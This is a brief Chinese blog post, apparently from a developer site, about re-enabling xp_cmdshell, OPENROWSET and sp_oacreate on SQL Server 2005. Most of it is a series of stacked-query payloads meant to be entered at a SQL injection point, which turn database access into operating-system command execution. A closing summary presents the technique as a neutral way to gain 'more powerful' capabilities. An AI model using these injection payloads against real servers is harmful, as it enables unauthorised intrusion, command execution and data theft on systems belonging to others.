SQL2005 在默认的设置中是删除了 XP_CMDSHELL的,但我们可以依次在注入点输入
USE master
;EXEC sp_configure 'show advanced options',1--
;RECONFIGURE WITH OVERRIDE --
;EXEC sp_configure 'xp_cmdshell', 1--
;RECONFIGURE WITH OVERRIDE --
;EXEC sp_configure 'show advanced options',0--
就可以搞定了
或者在SQL查询分析器中执行
开启XP_cmdshell:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure
'xp_cmdshell', 1;RECONFIGURE;
开启'OPENROWSET':
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure
'Ad Hoc Distributed Queries',1;RECONFIGURE;
开启'sp_oacreate':
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure
'Ole Automation Procedures',1;RECONFIGURE;
本文介绍如何在SQL Server 2005中通过一系列配置步骤启用扩展存储过程,如XP_CMDShell、OPENROWSET及sp_oacreate等。这些功能能够帮助用户实现更强大的操作能力。

被折叠的 条评论
为什么被折叠?



